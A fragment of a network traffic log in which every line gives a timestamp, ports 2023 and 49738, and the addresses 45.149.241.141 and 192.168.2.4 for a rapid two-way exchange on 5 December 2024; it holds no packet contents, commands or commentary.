Dec 5, 2024 10:46:38.919914007 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.919958115 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.920814037 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.920845032 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.920882940 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.921791077 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.921902895 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.921953917 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.922985077 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.923005104 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.923058033 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.924139977 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.924215078 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.924257994 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.925228119 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.925349951 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.925398111 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.926412106 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.926534891 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.926579952 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.927625895 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.927740097 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.927787066 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.928637028 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.928721905 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.928767920 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.929851055 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.929979086 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.930022955 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.930979013 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.977178097 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.260168076 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.260195971 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.260284901 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.260325909 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.260368109 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.260407925 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.260956049 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.260967970 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.261013031 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.261626959 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.261713982 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.261754036 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.262264013 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.262348890 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.262389898 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.263137102 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.263217926 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.263257980 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.264163017 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.264305115 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.264347076 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.265096903 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.265328884 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.265450954 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.265944958 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.266037941 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.266083956 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.266787052 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.266882896 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.266946077 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.267682076 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.267740965 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.267786026 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.268871069 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.268999100 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.269037008 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.270418882 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.270597935 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.270637989 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.271832943 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.271975994 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.272011042 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.273056984 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.273132086 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.273175001 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.274372101 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.274483919 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.274528980 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.275876999 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.276038885 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.276134968 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.277117014 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.277267933 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.277313948 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.278398037 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.278564930 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.278605938 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.279529095 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.279692888 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.279733896 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.280682087 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.280767918 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.280808926 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.281492949 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.281646967 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.281694889 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.282248020 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.282284975 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.282319069 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.283432961 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.283493996 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.283541918 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.284425974 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.284498930 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.284533978 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.285408020 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.285475016 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.285517931 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.286511898 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.286611080 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.286658049 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.287381887 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.287487030 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.287529945 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.288225889 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.288297892 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.288335085 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.289341927 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.289426088 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.289467096 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.290349007 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.290447950 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.290496111 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.291305065 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.291435003 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.291480064 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.292201996 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.292270899 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.292310953 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.293248892 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.293262005 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.293301105 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.294249058 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.294341087 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.294383049 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.295356989 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.295399904 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.295440912 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.296473026 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.296530962 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.296572924 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.297672033 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.297786951 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.297827005 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.298768997 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.298849106 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.298887014 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.299890041 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.299976110 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.300020933 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.301209927 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.301260948 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.301302910 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.302242994 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.302324057 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.302360058 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.303318977 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.303416967 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.303452015 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.304474115 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.304533958 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.304574013 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.305612087 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.305701971 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.305752993 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.306714058 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.306883097 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.306925058 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.307859898 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.307966948 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.308007956 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.308996916 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.309098959 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.309143066 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.310179949 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.310354948 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.310399055 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.311341047 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.311491966 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.311533928 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.312469959 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.312520027 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.312561989 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.448177099 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.448225975 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.448283911 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.448621988 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.448800087 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.448865891 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.449775934 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.449872017 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.449918032 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.451006889 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.451098919 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.451143980 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.452089071 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.452107906 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.452156067 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.453277111 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.453411102 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.453459024 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.454382896 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.454495907 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.454540014 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.455499887 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.455698013 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.455753088 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.456613064 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.456712961 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.456754923 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.457741022 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.457839012 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.457881927 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.458940029 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.459022999 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.459072113 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.460058928 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.460165024 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.460196972 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.461441040 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.461518049 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.461560011 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.463021040 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.463032007 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.463084936 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.463963985 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.464029074 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.464075089 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.464723110 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.464740992 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.464782000 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.465727091 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.465867996 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.465915918 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.466927052 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.467139006 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.467211962 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.468142033 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.468200922 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.468246937 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.469347954 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.469566107 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.469616890 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.470303059 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.470379114 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.470426083 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.471457958 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.471571922 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.471617937 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.472590923 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.472810030 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.472876072 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.473716021 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.473845005 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.473887920 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.474884987 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.475008965 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.475053072 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.475986958 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.476063967 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.476109028 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.477284908 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.477437019 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.477475882 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.478573084 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.478682041 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.478727102 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.479706049 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.479768038 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.479810953 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.480550051 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.480665922 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.480710030 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.481715918 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.481820107 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.481863976 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.483076096 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.483161926 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.483202934 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.484152079 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.484255075 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.484303951 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.485088110 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.485213995 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.485255957 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.486314058 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.486397028 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.486445904 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.487443924 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.487549067 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.487586021 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.488615990 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.488734007 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.488773108 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.489908934 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.489998102 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.490046024 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.490900040 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.491110086 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.491157055 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.492528915 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.492547989 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.492587090 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.493465900 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.493566036 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.493613005 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.494379044 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.494426012 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.494465113 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.495383024 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.495520115 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.495569944 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.496613026 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.496793985 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.496846914 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.497760057 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.497837067 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.497884989 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.498943090 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.498960972 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.499007940 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.500031948 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.500051022 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.500102043 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.501077890 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.501164913 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.501210928 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.502274990 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.502372026 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.502420902 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.503456116 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.503860950 CET	2023	49738	45.149.241.141	192.168.2.4
